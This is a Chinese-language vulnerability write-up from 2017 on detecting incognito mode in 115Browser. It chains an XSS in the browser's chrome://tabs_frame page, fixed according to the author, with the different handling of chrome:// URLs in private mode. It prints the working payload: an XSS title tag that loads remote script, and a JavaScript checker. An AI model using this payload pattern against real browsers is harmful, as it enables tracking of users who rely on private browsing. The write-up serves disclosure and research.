[+] Author: evi1m0@sec.ly.com
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2017-01-19

0x01 隱身模式

隱身模式會打開一個新窗口,以便在其中以私密方式瀏覽互聯網,而不讓瀏覽器記錄訪問的網站,當關閉隱身窗口后也不會留下 Cookie 等其他痕跡。用戶可以在隱身窗口和所打開的任何常規瀏覽窗口之間進行切換,用戶只有在使用隱身窗口時才會處于隱身模式,本文將簡單的談一下基于模式差異化的攻擊方法。

0x02 瀏覽器模式的差異化

做過瀏覽器指紋檢測的可能知道使用不同的函數方法或者 DOM 來判斷指紋,想要判斷目標瀏覽器當前處于隱身模式還是正常模式,當然也需要找出兩種模式下的差異化在哪里,之后使用腳本或其他方法去判斷。雖然隱身模式不能用傳統那些探測指紋的方法來判斷,但我在之前使用隱身模式的過程中發現,當用戶輸出訪問某些 ChromeURL 的時候瀏覽器不會在當前模式下打開,例如:chrome://settings/manageProfile, chrome://history, chrome://extensions/ 等。這個差異很大的原因可能是隱私模式下對于 extensions, history, profile... 不關聯信息時做出的不同處理,利用這個“特性”我想能夠做些事情。

0x03 Vuln + Feature

現在我們的理想攻擊流程:

  • 獲取瀏覽器當前 Title/location.href/Tabs 等信息;
  • 使用 JavaScript 打開上面測試存在差異化的 URL ;
  • 判斷用戶目前的瀏覽器模式是否存在這個微妙的不同;

拿 115Browser 7.2.25 舉例,當我們在隱私模式下打開 chrome://settings 時,瀏覽器啟動了一個正常瀏覽器的進程:

https://wx4.sinaimg.cn/large/c334041bgy1fbw2btikbsj20k10fzta0.jpg

我們知道是不能從非 chrome 協議直接 href 跨到瀏覽器域的:

location.href='chrome://settings'
"chrome://settings"
testchrome.html:1 Not allowed to load local resource: chrome://settings/

所以這里我去尋找一個 chrome 域的跨站漏洞,這個 115 Chrome 域下的漏洞(已修復)位于 chrome://tabs_frame ,頁面 DOM 動態渲染網站 TABS Title 時過濾不嚴謹導致的跨站:

      var tpl = '<li><span>{title}</span><span class="close"></span></li>',
        dom = {
          list: document.getElementsByTagName('ul')[0],
          index: -1,
          doc: document
        },
        //jQuery,迭代得到當前元素在某個方向上的元素集合
        dir = function(elem, dir) {
          var matched = [],
            cur = elem[dir];

          while (cur && cur.nodeType !== 9) {
            if (cur.nodeType === 1) {
              matched.push(cur);
            }
            cur = cur[dir];
          }
          return matched;
        };

    ...

      //callback:獲取當前打開的標簽并顯示
      OOF_GET_TAB_LIST = function(str) {
        var json = JSON.parse(str),
          tabList = [];
        for (var i = json.length - 1; i >= 0; i--) {
          tabList.unshift(tpl.replace(/{(\w+)}/g, function(match, key) {
            return json[i][key];
          }));
        }
        dom.list.innerHTML = tabList.join("");
      }

現在我們能夠按照上面的思路來進行判斷了,這里我為了方便直接使用 115瀏覽器的 browserInterface.GetTabList 接口來獲取 TABS 的差異化:

    browserInterface.GetTabList
    function(callback) {
        native function NativeGetTabList();
        return NativeGetTabList(callback);
    }

這個方法接收回調函數獲取當前瀏覽器的 TABS 信息:

https://wx4.sinaimg.cn/large/c334041bgy1fbw2i4vgowj20ni0703zn.jpg

0x04 Payload

http://server.n0tr00t.com/chrome/check_incognito_mode.html

<!DOCTYPE HTML>
<html>
<head>
    <title><img src=@ style="display: none;" onerror="a=document.createElement('script');a.src='http://server.n0tr00t.com/chrome/checkwindow.js?'+new Date().getTime();a.id='abc';document.body.appendChild(a);">
    </title>
</head>
    <body>
    TEST Chromeium Incognito Window
    </body>
</html>

http://server.n0tr00t.com/chrome/checkwindow.js

/**
 * Author: evi1m0.bat[at]gmail.com
 * Check Chromium Browser Incognito Window
 **/

initCount = function(){
    location.href = 'chrome://settings/';
}

check = function(){
    if(window.data.indexOf('"href":"chrome://settings/"') < 0){
        document.body.innerHTML = 'Chrome Incognito Window!!!';
    } else {
        document.body.innerHTML = 'Chrome Normal :)'; 
    }
}

setTimeout("initCount()", 100);
callback = function(data){window.data = data};
browserInterface.GetTabList('callback');
setTimeout("check()", 1000);

正常模式網頁瀏覽和隱身模式網頁的瀏覽圖:

https://wx3.sinaimg.cn/large/c334041bgy1fbw2qorqknj20ya0nwgny.jpg

0x05 EOF

通過漏洞和特性的利用我們成功的實現了對瀏覽器隱身模式的追蹤,在測試過程中發現有些瀏覽器 chrome://...url 是禁用的,但依然能夠他們本身瀏覽器使用的偽協議來實現差異化的跳轉(例如 QQ 瀏覽器的 qqbrowser:// ),這種特性雖然需要一個漏洞來配合利用,不過我認為相比之下難度著實小了許多。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/191/